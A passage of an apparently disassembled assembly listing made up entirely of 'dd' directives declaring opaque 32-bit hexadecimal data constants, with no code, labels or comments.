		dd 0B486470Eh, 43FDB31Eh, 58811518h, 0D84B48FFh, 4ABD19Fh
		dd 0F1D164BEh, 63DEC480h, 5CB648AAh, 18420840h,	0E054F556h
		dd 0F73F6E88h, 10578CF6h, 16289A2h, 6809CE29h, 75AA9369h
		dd 7210EA10h, 942C55C9h, 79820E21h, 4314A815h, 77F20140h
		dd 57B12900h, 3699BB8Dh, 86C70E71h, 0F474B78Ch,	0A000F48Bh
		dd 0DA90DCFFh, 8263AC00h, 2855B0B4h, 681400C4h,	1956C201h
		dd 9CA438C6h, 80A08248h, 4A14C98Eh, 0AF6E00F3h,	0B6252069h
		dd 0FB01C8B3h, 2F3C73F5h, 0F3C82260h, 7F871DF7h, 13E140D0h
		dd 502A0DF9h, 271DDD0Ch, 13FC187Ah, 0B19EA18h, 0A0004DFCh
		dd 59BDA6A2h, 6B681C09h, 0AC7C80B5h, 0F402D836h, 96CF0CE4h
		dd 7EC2140Eh, 0B16F2A00h, 2827801Dh, 5454F8E6h,	0B0D04Ah
		dd 4DF94895h, 5F82465h,	0F88D1625h, 694B29Ch, 7BD30A35h
		dd 0BE0F4A95h, 0E11744FCh, 696622F9h, 0E84E1072h, 8B240019h
		dd 1E557F6Eh, 4754300Ah, 3AC62769h, 0FF6AF500h,	67EAE9Fh
		dd 3F8CB3B2h, 0E00A209Dh, 0A680A491h, 69BEB2FDh, 0FFBE0EBh
		dd 79ADB9BCh, 94F1F6E0h, 2C0D6050h, 0B82E0DA0h,	91613AE1h
		dd 0EADD1424h, 4173268Fh, 442400D4h, 16C9F4D1h,	0A4A0B0Bh
		dd 59D581DCh, 0EC24F2FFh, 0C032F5F3h, 0A363AA00h, 9488BC75h
		dd 2B73Ah, 0C9360F2Fh, 1667B351h, 169F6CCh, 725752D4h
		dd 0BD80604Eh, 0FE5901FBh, 0B2218423h, 4554983Ah, 3BD319h
		dd 0C1DA0820h, 0E1090387h, 935C3004h, 48905EDFh, 0CA42F558h
		dd 40B86831h, 4CD336C1h, 0E644AE00h, 0F8E0479Bh, 85CC0A30h
		dd 1118517Ah, 43007D39h, 3176C98h, 3BF31D8Dh, 0BC00146Bh
		dd 0B98FF4BAh, 0CE3A19AEh, 68DD0CF0h, 7A3927h, 0D2B89C89h
		dd 5DED0193h, 0CAF5D900h, 535B90E2h, 0C6F002A2h, 0F25857F3h
		dd 0AC46F892h, 27BA2002h, 68A06BBEh, 5CDB092Ch,	0DC072198h
		dd 0C32ACFD0h, 317A4ACEh, 80808494h, 73F57C3h, 158C0052h
		dd 0FB43AF23h, 5E09E332h, 81B22F51h, 8F7B1F28h,	2B28E0E2h
		dd 0D0295017h, 8228B8FEh, 57C4208h, 0F0888214h,	0A250001Ah
		dd 0F3E33B7Dh, 0AB00A3D8h, 0C4B057F4h, 0E092DCC5h, 1DCA48Dh
		dd 54F8BEAAh, 9044F958h, 0D0806BE9h, 70EEA53Bh,	58C3FF02h
		dd 50998257h, 43543090h, 0A6223131h, 0CD0DB900h, 4776C83Bh
		dd 0FB4638A0h, 107983Dh, 30F51D84h, 7F51296Fh, 0FD96C203h
		dd 0C0E94164h, 9BEB54Fh, 12D42863h, 0E2199418h,	0D70AA501h
		dd 2A89DC11h, 0AE41F0h,	44F4AF9Bh, 0CC622358h, 4D205B03h
		dd 3A69C4h, 1C8281B9h, 9D6F30Dh, 8797C200h, 16390429h
		dd 799300CAh, 0F41965A3h, 90007581h, 5BFCAEDDh,	59A561h
		dd 91E1B443h, 1C3A8A0Ch, 76B95812h, 80682422h, 1805BFD0h
		dd 0FC708102h, 284512C7h, 0D9D00801h, 0F0581441h, 0B4219C23h
		dd 0CDF6B101h, 18314C7Bh, 2036B3D5h, 282DC013h,	4E40EE04h
		dd 68C64872h, 51A6DC86h, 0A30CC900h, 721C3C77h,	4B76044Dh
		dd 0A075B65Fh, 0BE884864h, 7B7E4024h, 2C285841h, 618BEF80h
		dd 4603DFE1h, 84AFC050h, 222BD88Dh, 0EE4570F1h,	0F23E0024h
		dd 3B19A66Dh, 180009DDh, 1110FC7h, 3A53B81Ch, 0EFBA34C5h
		dd 0A9256918h, 0FA008B51h, 8CA6F7B0h, 782A319Ah, 8A350BD8h
		dd 0AC3043ECh, 4CB964FCh, 9C68BC19h, 5C55CF70h,	0A0C050F9h
		dd 207395FFh, 9E0659E0h, 3497CEB3h, 0EDB40B39h,	0FB002C91h
		dd 85B75E7Ch, 47F708A0h, 5DC6E48h, 0DC400299h, 601F544Eh
		dd 47989BCDh, 0B44A007Ah, 0CBECE62Bh, 84E0328Ah, 91FD9C00h
		dd 0F9B5229Ah, 0AE1D18C3h, 93177071h, 0FDAFD900h, 4449255Fh
		dd 0A82858C7h, 108072C8h, 67929BACh, 2975E6h, 0ECC6BBF7h
		dd 0B145669Ch, 548B7500h, 50C3ACE8h, 90CC501Bh,	401789AAh
		dd 82E25FAh, 6EE05CF1h,	9ED60500h, 44FD6CE0h, 7C6900EEh
		dd 4CD86DB7h, 0F105D074h, 5D182FCAh, 19877F85h,	58B03F74h
		dd 8808A256h, 0BE091460h, 0C846CCh, 1FF55422h, 0BB43C4E4h
		dd 82134091h, 6ADFA8D0h, 9A6900F1h, 457BA0C7h, 8C9F621h
		dd 864F0h, 0A7B5792Ch, 66A2809Ah, 0C964BA00h, 4397672Ah
		dd 0AA0B0483h, 0B4825411h, 210B8F88h, 8248FE52h, 40CEBF76h
		dd 316C48h, 0DAA664E0h,	6A30AD1Dh, 6974781Ch, 0E52790C0h
		dd 934C7Fh, 0BFDF1005h
		dd 0EB51C5EDh, 0C9611500h, 6F13AB83h, 65B20E3Dh, 6CDB38Bh
		dd 10B80910h, 24B43740h, 0BD918800h, 0D1582263h, 18CA4F3h
		dd 64CB82Ch, 0C8201945h, 27132E4Dh, 98301511h, 202F129h
		dd 0A4969AC3h, 98CCD0F5h, 0A004624Eh, 80898CFCh, 1900E033h
		dd 4F1AFA52h, 6F00B6B7h, 48E09A47h, 0E82075E3h,	44F60112h
		dd 6AF41F11h, 52FAB7h, 308AFE02h, 0C12F2920h, 6C62FAF0h
		dd 4EC0DBCFh, 0CE4628C2h, 689031B0h, 0F144C49Ch, 24113400h
		dd 0C0182F19h, 95617783h, 8772F0h, 0B58F66DEh, 226DC51Fh
		dd 8C015A12h, 9B2E4C8h,	79E1B1F9h, 0DF54A468h, 477720h
		dd 129DCE0Ah, 576EF714h, 0FCA41A2Ch, 13FB2840h,	49CA5A72h
		dd 0BC0FCCD4h, 0C692BC20h, 9013E4Ch, 228F45AFh,	0AE06795h
		dd 266933DDh, 50C7B031h, 50BF6F31h, 46F88F04h, 0F680A49Ch
		dd 5C1CCE0Dh, 73C0F075h, 3264E6EAh, 0FB890B02h,	40AEF252h
		dd 72DC8BCh, 7EBC4C51h,	0AFCFD319h, 3BF8E2B3h, 3A00F278h
		dd 0CD28260Ah, 42C247h,	90107454h, 0F0ECD35Ah, 180AC82Eh
		dd 0FC52CF00h, 1F3C8D60h, 0A5428B1h, 42FC99CCh,	0E8A2E11Ch
		dd 0C491B92Ah, 9E1038F3h, 67181F40h, 3F6A24Bh, 0CA6ED310h
		dd 52B8ACD5h, 0A5000F6Ch, 960A7CEBh, 49315C59h,	2101E012h
		dd 0FC81BC2Fh, 0B638428Bh, 0B943CCB0h, 0B695E6Bh, 0D81684h
		dd 0FF5E8818h, 0FBFC6FF5h, 78823E12h, 47B10840h, 0F1C08B5Fh
		dd 58C64DC0h, 7214A0CFh, 0C98EE0CCh, 6C480A92h,	0B0424170h
		dd 0FE5811A1h, 57060022h, 617C2725h, 1800685Bh,	2BDDC9CAh
		dd 0FD4086BAh, 5D688014h, 0CB1B5C0Ch, 8071F850h, 9143FC8Bh
		dd 3840EB20h, 8BB700F0h, 4A62992Ch, 0A0E2D1DBh,	3354F1E1h
		dd 73EB00E0h, 28F68446h, 198E821h, 0D16563B7h, 60BFF9C9h
		dd 95017828h, 59CF5362h, 0A04841F0h, 6E6D8838h,	0D3EC2900h
		dd 2FF12AB7h, 1ACD13E6h, 787488F2h, 170518Ah, 3BF12365h
		dd 51407052h, 53C87CA1h, 0F1E8F0B4h, 541426E2h,	1310A210h
		dd 70C2CE50h, 441478B6h, 3901113Bh, 985D074Eh, 0B1FCA637h
		dd 353C2D82h, 0C4A0889Bh, 8A8A71Ch, 700ADFFh, 0FC096FF9h
		dd 5E1B6Eh, 0F6417D6h, 13E889A3h, 0B3C7DC04h, 0A8C01E67h
		dd 9EC87209h, 3C8C83D4h, 2398F22Ah, 0B902F145h,	0D13DD8DFh
		dd 2C70E1A1h, 52FE5510h, 7680D0B1h, 17A63A3Bh, 0AB810040h
		dd 292E746Ah, 7D0086D6h, 9BF461F0h, 2C324FF1h, 0C8903Eh
		dd 0BDB7776Ah, 1011C6Fh, 697514B5h, 5E100E82h, 22005040h
		dd 0E6C03C6Fh, 39B1D043h, 21CECC12h, 0CDA02C28h, 2AC87314h
		dd 1C91CCB9h, 0E9F9B880h, 0D1C5F0h, 52F72C73h, 257B2640h
		dd 80982B4Ch, 59EF1768h, 88D649FBh, 0FFBF5B02h,	8084257Ch
		dd 44E265h, 0F0224641h,	9E301E0h, 80241F6Bh, 0B3428C68h
		dd 0C0A950B6h, 4573B481h, 8CC070B7h, 3773BFh, 2F31AA76h
		dd 0F77C1225h, 0FCA5100Ch, 6808E4h, 0DD6CF006h,	0D8F58EEAh
		dd 9D48B9E8h, 0AF661864h, 45213A60h, 83F8280Fh,	89EB2F70h
		dd 0AF601FFBh, 6FD01D59h, 2D2546C5h, 72163101h,	682922C2h
		dd 8FBFDCh, 0CFC176C9h,	3DE810A0h, 0E22BA803h, 926DF646h
		dd 0E4AC1514h, 1D1C9600h, 8834CB72h, 0F853E054h, 0F3B167D8h
		dd 0CCA7ED70h, 31D90126h, 125CFF0h, 5BE8602Fh, 84F2D121h
		dd 0C0B24CBBh, 5854F7F4h, 494FF330h, 95ECB9EDh,	0BC91C18h
		dd 1220E0B2h, 0DC0948FEh, 0FF84E9C4h, 582F5180h, 600899F5h
		dd 736CC962h, 46F6FD03h, 0F0A40B86h, 5B24540Ch,	2C4C2C29h
		dd 0D076B280h, 0D042B8A0h, 0DB96EAC0h, 8C003FF1h, 4399C1FCh
		dd 0C2B9A5A7h, 8EFE5B50h, 284BAA10h, 4CB4B1F6h,	0C11628CAh
		dd 1DD49069h, 640E3F35h, 0E2AAB9ADh, 90712C3Ah,	8A32CFF0h
		dd 5487D0D9h, 62C4E303h, 33ECACC0h, 0AA3F3EC6h,	0CA57C593h
		dd 13012274h, 21A82768h, 62F0581Ch, 0B95C1F04h,	0E137548Bh
		dd 0FB104660h, 74005811h, 8F719849h, 722BA4CBh,	0A0253ABCh
		dd 1AEC5080h, 0E251D2A5h, 0B7B38h, 58D7C3B7h, 14B3F46h
		dd 0E5784A73h, 87272F6Fh, 5D832220h, 0F8BC4320h, 40814A54h
		dd 65FBD170h, 9D2F10FEh, 713410CDh, 0E6297D67h,	18F500DAh
		dd 129203E4h, 8900FFDCh, 6B3D15C4h, 2CF74442h, 1E44B21Fh
		dd 0D00B169Eh, 16B45E14h, 0EF9A721Eh, 5CFDCBC0h, 7CD00144h
		dd 8DFC1C33h, 56E380EEh, 29C0B8BFh, 0DD08C404h,	58A4B243h
		dd 72F6120Fh, 6984B057h, 2652122h, 59BA4CB5h, 0B8C43DFCh
		dd 8288B878h, 0C0C9DD77h, 0D9134A01h, 8D3FD75Eh, 0A9E0050h
		dd 9EAC6CAh, 3ECF00A4h,	64F1C31Dh, 3765D801h, 58C7F438h
		dd 0D159C412h, 0AE2C00B8h, 4C831E30h, 0CD78A500h, 3E1C0D4Ah
		dd 0C3A70163h, 6471F41Bh, 2F022F1h, 2C6C907Ch, 0A67041BCh
		dd 48E4DF02h, 2E461D00h, 0C5D5439Bh, 8BB80024h,	5679F7BDh
		dd 6004C39Ah, 0A82839CFh, 0EC6E9C82h, 0DF571130h, 858103A4h
		dd 8BE7F9FBh, 20D3D8F2h, 5D7C9052h, 652E58C4h, 84C39060h
		dd 3A4224C6h, 80567729h, 0FA678BE0h, 0DFB611C8h, 0FC3A015Bh
		dd 0F812FD87h, 1ED555DCh, 9ACF93h, 8E897E8Fh, 6C26FCCDh
		dd 906470AEh, 0BE09201Eh, 0BED2D54h, 0ABCC04A4h, 0CDBAB540h
		dd 5613B214h, 8DC374Bh,	0F78C00C4h, 59161AACh, 4905DFC9h
		dd 0F411F1C7h, 69B53882h, 90402CB0h, 96550ACCh,	0AFA054h
		dd 0ADB24FE0h, 93C5BAC0h, 5A99E702h, 7A5417FDh,	2D470068h
		dd 9EE9F572h, 430EC4AAh, 82DC9382h, 0D1615883h,	287C1688h
		dd 10000E00h, 0B4980BADh, 0A7E854h, 19651B96h, 0ED5CB6CEh
		dd 0A8FFC1Ch, 0B4247040h, 12F68985h, 0FA7C1F49h, 1408DD10h
		dd 2E1467FCh, 902D54C9h, 1114E6B0h, 886961h, 66A60F55h
		dd 5EBC25EAh, 349460F1h, 2E00F011h, 4AB0FD55h, 0EC5CDDD0h
		dd 0E93C0063h, 0B1B54852h, 0CC0B2862h, 18C97215h, 94F45900h
		dd 504A5094h, 0BA763D00h, 0C66B323Eh, 1410F902h, 242E1147h
		dd 4247CC71h, 8088D24Fh, 6968893Fh, 0B72B0070h,	49C51513h
		dd 5634007Bh, 0D2EF8F14h, 0F430D50Ch, 18C82817h, 93A0004Dh
		dd 0D03D2A32h, 672D6AF3h, 0E62B70D2h, 4223425h,	8040B889h
		dd 54DA613h, 8BE739FDh,	0E170A480h, 1C977698h, 18146707h
		dd 8AD30350h, 3CE9E8A6h, 0F26E0AAAh, 2C4E41Fh, 48D43538h
		dd 127C10C1h, 0E43C5C68h, 6C1E414Dh, 51EAB87Eh,	9168A400h
		dd 0B32A00A0h, 7C709427h, 74B14C42h, 0CE480A8Ch, 2A59F4A1h
		dd 64601039h, 1DC02E0h,	0D1CCBBBCh, 1CEB8C80h, 0C6784904h
		dd 2930F100h, 0DD121520h, 4B380196h, 8FB4FD57h,	5ADFFCE4h
		dd 226871C0h, 0CF040Eh,	0F71DEE74h, 4A1AA783h, 4FF13Fh
		dd 0C042AB58h, 0AD0642Ah, 50EE2C25h, 0DBB58044h, 0DC46E599h
		dd 1CD9D120h, 812A56B7h, 16242389h, 40246C50h, 0F150D008h
		dd 20978214h, 0BC7E02C8h, 9EA3023Dh, 99CCD329h,	34124444h
		dd 0E0CDC4E4h, 588F5C28h, 0A5E864C0h, 19039AA0h, 0F851DFFh
		dd 0F1149AD4h, 482FC078h, 0A11FD6FDh, 349954D7h, 30103321h
		dd 3171EB5Dh, 4AB1B3Ch,	3CF6BA1Ch, 581D5CE6h, 0F8F9225Ch
		dd 3700452Fh, 0A51FE13Eh, 130D019h, 71D2ED4Dh, 33F0C43Bh
		dd 0D61C00F8h, 0B673DBECh, 6D7E0033h, 0D4F33724h, 463E22D0h
		dd 8EF88BADh, 0F0D01383h, 71087B05h, 0B990FF1h,	419297CEh
		dd 0F692141Ch, 0C0AC3934h, 0F88EF962h, 79A563DFh, 0D4923433h
		dd 8C8600FFh, 17BBDCBh
		dd 3FBE2A57h, 40E56301h, 3CA8BE4h, 51DE0748h, 10080428h
		dd 804B14ECh, 2DA14684h, 0F1DD0904h, 64BC2125h,	0C190249Eh
		dd 552BC872h, 8F24F398h, 41D58080h, 651DFA5h, 3D21D827h
		dd 36005CAFh, 243A7CFFh, 0B823ED88h, 8F2091B0h,	0C0FC7982h
		dd 87B0ACDBh, 4E0049D1h, 0FEF741C8h, 1547395h, 58344B59h
		dd 21C216F9h, 80B06CB0h, 7B1A07A8h, 5B5F00A0h, 4F102C14h
		dd 9C4B8302h, 4AE2745Dh, 85744054h, 66F5CEC5h, 0FAEB2400h
		dd 0B0B20B90h, 0E7DB00A0h, 9C0FE441h, 8805CD72h, 0C3536287h
		dd 55C9D8C0h, 10DB008Fh, 9B327338h, 5D03EA37h, 13AE754Fh
		dd 7CE9E051h, 0B56C028Dh, 223064FEh, 46B4FCC0h,	6AA81900h
		dd 0B7F9CFB9h, 0F29409EBh, 0DC841CC4h, 455493Ch, 0F04C507Ch
		dd 612DD28h, 8A004D20h,	11FFF762h, 0FC280069h, 0A4A2EA8Ah
		dd 0BA2F1FACh, 0B25C18C3h, 9F4B8CFh, 1FCE16BEh,	9750000h
		dd 0C90C7D1h, 27DAAF00h, 6FFC6C4Ch, 0AB0100F0h,	0DBDB44Bh
		dd 0A158303Ah, 0F9C70B78h, 94D00051h, 17E429C6h, 2069DD14h
		dd 1D155E3Ch, 0CA001979h, 844C3121h, 5AB7F5h, 57798F82h
		dd 67CBA81Ah, 0D39087A0h, 6DBDA200h, 0E2582936h, 0F63BB8F4h
		dd 0F5C800DBh, 55A96F68h, 0C401C3F9h, 0E7B4F061h, 0BBC8438Ah
		dd 5A64E0DCh, 57442811h, 54B39904h, 1080E179h, 91F2675Dh
		dd 69FC0068h, 1D880CC9h, 28BA343Ch, 0BF260891h,	0B40850ABh
		dd 4076445Ah, 84026D12h, 11970352h, 0D672C329h,	0B14CC1FDh
		dd 58184775h, 591F9880h, 0E6CC3CFh, 93CA9654h, 0EC2E63C0h
		dd 6A0791CDh, 0FCB9E77Bh, 8410CEA7h, 611621Eh, 6DF5DC2h
		dd 7344517Ch, 78900A7h,	203E7565h, 45009F24h, 6DC97A14h
		dd 0C21C095Ch, 2F012228h, 86F624E0h, 2B70809Dh,	0E1CF0A2Ch
		dd 8E40022Bh, 347E226Ch, 1375213Fh, 13A4B3D0h, 0DC2398CDh
		dd 4C268030h, 6DAA003Ah, 78745225h, 510C3642h, 293D69C5h
		dd 0A74B001Ah, 86E0E5BCh, 894B743h, 3392CB41h, 0C281807Ch
		dd 950B9E1h, 0F0C30800h, 0B0B1DCh, 305249FBh, 421D31C4h
		dd 44679482h, 986F00A8h, 0BAA6D91h, 840001DBh, 5288F57Ch
		dd 4906312h, 2C2992C2h,	61C0CCCDh, 0B4000374h, 0C48B86C6h
		dd 57E98DDh, 0B532E7E2h, 83AC85BEh, 0BCC978E0h,	14DE0062h
		dd 481FE2DFh, 84184B4h,	0C14B8A0h, 0AD5D0164h, 140412B9h
		dd 0F4586F86h, 60685CA4h, 25DFB93Eh, 0D300F574h, 0DECAB972h
		dd 307B2C38h, 5408EC07h, 0B8046F2Ah, 0F025F3F7h, 0C0B46885h
		dd 0FA5880FEh, 0F3593860h, 2D2AF452h, 0C0A0DFB6h, 1DAD6264h
		dd 84DEA901h, 0D25B01F8h, 83EDAEDh, 0AA84AF4Ch,	28C5C74Bh
		dd 5507ECB3h, 40934923h, 540B4F9Ch, 2BA61C27h, 94580074h
		dd 0C6E80F4h, 23C57214h, 9C91DC39h, 21E6D500h, 0F2DC05Bh
		dd 1368907Ch, 9C15DC40h, 0ED25A9D1h, 0F2202054h, 7D79C448h
		dd 97221F4Dh, 59364019h, 95FB1B99h, 0BEED4B01h,	0AFD4C9CDh
		dd 10278829h, 80CA78A5h, 38C9C1D0h, 81002CE9h, 5FEBFB2h
		dd 12AAD4C0h, 90253DBh,	2C604C8Ch, 84A4DC4Eh, 9268000h
		dd 8E21877Ah, 732D2625h, 0BA6894BCh, 4DF9590Bh,	85730A0h
		dd 0CF7272EBh, 1B80DC94h, 9CAC7DBh, 2657FAF7h, 80CB775h
		dd 70917C7Fh, 78E34001h, 0D4FEB787h, 8601AA18h,	0EADED047h
		dd 42E4A80Bh, 390362B1h, 34F1F858h, 13765207h, 0FD2E2531h
		dd 0CC72A185h, 5EC0222Fh, 92831420h, 474008Dh, 0FF46ED9Ch
		dd 0A1058BACh, 0E2B8BB0Ah, 0DB50D382h, 4D2803D4h, 117F4EA6h
		dd 7E24C613h, 79221404h, 0C0C7DD47h, 0B29ACF0Bh, 4F00EA7Bh
		dd 8AFD98CBh, 0FCD0F2Fh, 5B7AF89Ch, 6B296CC0h, 0B00BB51Dh
		dd 0C5331Ch, 68889318h,	554C3E3Ch, 57F2CD81h, 42B3210Ah
		dd 0E45C2ABCh, 146FF0E0h, 989100BDh, 0F7C229D1h, 4D163B0Bh
		dd 6C95C673h, 1FC06060h, 441900A0h, 0C3D008DEh,	5BF42E2Dh
		dd 0F5552200h, 1C7E82F7h, 0E9410462h, 0B42D3A43h, 69266108h
		dd 0C9845CC1h, 8B4550Ah, 1F6DEA2Fh, 254BA09h, 0E207F1C3h
		dd 103E80C1h, 4C80E912h, 370443B2h, 80E85899h, 0C80BFE0Ch
		dd 19519500h, 9FC2184Bh, 85D50FCh, 0C082041Ch, 0B42625F0h
		dd 8978AB10h, 0F11262F4h, 0BCD180DFh, 5B1051F4h, 939E854h
		dd 6868B1E3h, 34600BCCh, 224600CDh, 0D8B1B7F2h,	0FCE24903h
		dd 4FF16B03h, 0A8654576h, 0DDD1Bh, 1178701Ch, 9C2C7FF9h
		dd 804AA73Eh, 91163610h, 7F4DB00Ch, 46C80025h, 0C5E03776h
		dd 7C05E5D1h, 2A27EDC9h, 8FE38880h, 0CFC8122Eh,	6AA0C809h
		dd 1D20393Eh, 0C131DC1Dh, 5DC0CAB5h, 0EED2F821h, 70BC1712h
		dd 0CE610033h, 1DCF903Ah, 685DF200h, 0C5E1BF60h, 0B0A2E491h
		dd 0ED520194h, 0B3BC5330h, 80006CC2h, 71FB4670h, 94320585h
		dd 2118DFBFh, 1045F898h, 0EA52F5F3h, 5C2E7CB4h,	0C3C0ACFCh
		dd 310BA310h, 907EEC0Ch, 0FC6270D2h, 0FEF004h, 6D5B2A7Ah
		dd 0D0108E17h, 18C1C224h, 6C221503h, 0A4B884C7h, 0BF800C88h
		dd 0E8DDA6A7h, 0EB8501B0h, 9BBB97FCh, 81A5ECB3h, 905F5D09h
		dd 2B0C9083h, 0B99900CCh, 1E260866h, 50E4DC29h,	0BBC6310Fh
		dd 38C1760Fh, 421244F1h, 123E4471h, 90DC50FEh, 7AEC02A5h
		dd 0F8823D41h, 282E2841h, 803F8880h, 2F8409DDh,	0D303E6DBh
		dd 0D7988A32h, 9A74A8CFh, 6B104A7h, 0E89DF44Fh,	71258000h
		dd 0F222662Fh, 22F15BD1h, 5604BEFCh, 10652349h,	0F1BD5200h
		dd 0ECC17C40h, 0F6721F3Bh, 0D88987A6h, 0B2820F3h, 0FF79CBBEh
		dd 220120B9h, 0BABFF743h, 5C611071h, 4E47944Ch,	2664D0DDh
		dd 677EEF6Eh, 80CFD238h, 0FE4E1D15h, 9B483A3h, 43DC46B8h
		dd 1478D4C4h, 6BCF8F25h, 96B82F9Ch, 649ED42Eh, 33113ACh
		dd 81B7EA5Ch, 9658A04h,	0F4C2F8DCh, 229604BEh, 4850210Fh
		dd 42A8DC3Fh, 933ACD38h, 7C007818h, 6C85A4F3h, 585409A0h
		dd 0E0F94AF6h, 0C4944C20h, 0DC086707h, 42CD14Bh, 1287F59Bh
		dd 27F9030h, 0CECD3DB2h, 6E9E403h, 56A0F477h, 0A0F8B7FAh
		dd 62AE9D00h, 94AD7C2Ch, 496C271Ch, 7CFAB069h, 0A898C01Ch
		dd 0BD295760h, 4F1F3422h, 288CEA20h, 0BA421272h, 0B789CA7h
		dd 0AC8B0E00h, 85DD22BDh, 61AEA2DCh, 840C029Ch,	0CC117381h
		dd 0BFC9010Ah, 22F73090h, 0B842141Ah, 7122345Bh, 59629207h
		dd 6C502DBAh, 0CB9B2A6h, 8621BD16h, 50400AB0h, 4FC75F72h
		dd 0F2F63A60h, 34C511B4h, 6276167Dh, 66000C2Dh,	4309DD39h
		dd 0C0DC9882h, 5475F8Ch, 8DFD1A0Ah, 14FC06F9h, 6E44A8FFh
		dd 8C08315Bh, 5ADB8D8h,	42C60C8h, 0FA119656h, 2654E2EAh
		dd 0B900EAE3h, 5C1965F5h, 1FA30068h, 0DB59AE0Ah, 0A8581B15h
		dd 638A7CECh, 0DDD1E094h, 0F03F0678h, 0D17F0167h, 1451C439h
		dd 0E87C24h, 0F43CE9E8h, 0E4F16132h, 34AB2C1Bh,	9B13C0h
		dd 5BF5695Ch, 0BA06296Eh, 0C6B114E7h, 0C1B609E9h, 6090810Ch
		dd 0FB121F82h, 74006EDEh, 0BF1866A8h, 0DFD3006Fh, 0D1C29DF0h
		dd 0F0AA6C1h, 8C171B9Ah, 0FA219510h, 0E4695C02h, 80EC5C50h
		dd 4028A18Ah, 5A73EA4Dh, 1E207258h, 7F849471h, 7C85CCC8h
		dd 7E894C8h, 21C5A0B4h,	0F981C0A1h, 6E0BFDB1h, 7A5415FAh
		dd 0B8AF0054h, 9B3BA0FEh, 0AEA1C6AEh, 0C0306932h, 7694E708h
		dd 1BA700AEh, 632D7F15h, 3F09AC80h, 0E4A82279h,	0B2384448h
		dd 7F80891Dh, 0FC3E900h, 764A3233h, 277C90h, 7A84FC18h
		dd 0DD9D355Ch, 380010B5h
		dd 8AF00A6h, 6096F295h,	0A7002556h, 0DC116EFEh,	48E48AFAh
		dd 0B00F4C15h, 0B126CB43h, 2B01084Ch, 0C56355Bh, 593002C9h
		dd 933797Ah, 6A60F4ADh,	7F1848C4h, 0D19AB6DBh, 2EFE8C4h
		dd 68EC70D2h, 452BA43h,	0C872093Fh, 7ADC8978h, 46EC1360h
		dd 57C8B46Fh, 0FEC00116h, 0B50690F2h, 3922CA72h, 0D233A1Dh
		dd 28CC25h, 0AA3CE648h,	8FADAF72h, 3D4F3772h, 10097453h
		dd 0AA08698Ch, 48379460h, 0BE2CB012h, 20F3645Ch, 7AC6D0h
		dd 0A789ECCh, 43CBCDF4h, 550738B0h, 0B7CEA30Fh,	0DC8DFB75h
		dd 61301E6Eh, 0A8002111h, 0C02928D6h, 8400CE2Ch, 78B37E8h
		dd 1FFE278h, 53661A73h,	4056F5FBh, 8C76350h, 58E28496h
		dd 388852F0h, 0A305D5C6h, 0B80A7087h, 6117E080h, 0D51B0067h
		dd 0E3422A98h, 0B000C22Ch, 9F5E814Eh, 26E32BFh,	3848F7BBh
		dd 8CC6A1D1h, 46006978h, 6F396B33h, 99FD85h, 0A1C0A5C9h
		dd 570EC63Dh, 10065E6h,	0EDC3348Ch, 1B5425Ch, 196D31F9h
		dd 8A33302Fh, 0D8098219h, 55139B80h, 1C0A8B87h,	0D70B88h
		dd 0E2385F98h, 15050670h, 966D915Dh, 102AAC82h,	0B47287ADh
		dd 0B0F1A831h, 72003C74h, 90B739CDh, 2D60F690h,	18902925h
		dd 242754A5h, 0EA0C9044h, 7A3F0B58h, 1780DE51h,	41A5F762h
		dd 0BC1C7600h, 53EA366Ah, 80B4024Eh, 7F9716B3h,	84A6C0E0h
		dd 1F65B100h, 714FC3B9h, 4C19314Dh, 802E280Ch, 548EFC80h
		dd 0E697DBA7h, 0FDDC0F79h, 8D848FBFh, 87B64730h, 7018CAD2h
		dd 0DDD0F914h, 0FFE6029Fh, 8399F19Bh, 0AB80B85Eh, 610DC4BEh
		dd 7B330092h, 17AA77Fh,	0A300E025h, 245E316Ch, 40EDA026h
		dd 0BF2C4212h, 0CFC1DCAFh, 543C900Bh, 0DEC8B380h, 0F8B989BEh
		dd 0A66F8D81h, 3230EA75h, 0F2860492h, 809B607Dh, 40CAFE4Ch
		dd 65AA370Ah, 2B86F0F3h, 7519FD18h, 9FB49458h, 6817CCF3h
		dd 0FC000AC8h, 0C869367Fh, 7CF03A13h, 94B948B7h, 21808C40h
		dd 66A58AFCh, 0B24314A8h, 5524644Ah, 8AA8404Ch,	0F004C42h
		dd 18924A56h, 8CDDFBh, 8E9747DFh, 7213FFB1h, 70C8D14Bh
		dd 58A4B2ECh, 0E9095CBAh, 6853BE58h, 80111C89h,	59D59A50h
		dd 44B9F2h, 0DCEA8A42h,	1509ABC5h, 983D66B5h, 0F9F4E4h
		dd 9914E901h, 0AA75097Fh, 0D2418E01h, 4EA84B7Ah, 0E003C23h
		dd 35195D70h, 80F8916Eh, 1262B63Eh, 0A22325h, 1E8BCF03h
		dd 384C6765h, 412D30E4h, 26F827C9h, 12F4F905h, 0D338D068h
		dd 0B200BDDCh, 0B932F083h, 24619A35h, 0A78434E8h, 18008464h
		dd 0F3950381h, 19E2CECh, 0DBC9EB46h, 7150D766h,	48298090h
		dd 74C1C2DDh, 0AD2B0090h, 0E4CBCF36h, 6312C9BDh, 2CF5FF35h
		dd 5E54373Bh, 2A1D8882h, 0E42624F4h, 5145601h, 0A858F458h
		dd 50DC52B3h, 10005A22h, 0C6233C39h, 0B436F6h, 2BB75008h
		dd 7B7A624Fh, 7300348h,	0EA4AE825h, 0E544B9D1h,	0F5C40871h
		dd 22809229h, 582554BCh, 68D849FCh, 38C403Bh, 0E9C973D0h
		dd 846E6200h, 555EBBC8h, 9099063h, 27FA353h, 51FD7060h
		dd 0A4C75C89h, 160974F0h, 0A2FCC7DBh, 0F90E77E4h, 8AE5685Ah
		dd 0CC810CC8h, 0EB74E6E7h, 1413D2E0h, 0EC5EF1C2h, 58D8C426h
		dd 6F9034B4h, 170B2B00h, 19FE799Ch, 0D9D81324h,	16CA0181h
		dd 0E9FFCA09h, 0C9C05145h, 253A112Eh, 58F6A4FFh, 0CB8FE300h
		dd 0E217246Ah, 17C3400h, 0AC18BD55h, 2C62755Fh,	0A96C4803h
		dd 9B6F806Ch, 0AC88646Ah, 1ECA3Dh, 0F8F2EF51h, 0B1824A95h
		dd 27B900C0h, 91ADDBCBh, 106B0805h, 9E02A884h, 406D9518h
		dd 48DD8B9Ch, 580C6894h, 0F39949FAh, 0B3768900h, 0B2246E2Fh
		dd 0F75400F1h, 3719193h, 0BCC672h, 4890BE8Ch, 924020BBh
		dd 81748233h, 5DBAF09Fh, 9707007Eh, 239B09B2h, 5C4E342Bh
		dd 656B1480h, 90E8EBh, 0D9311103h, 20A51957h, 0E3036EFEh
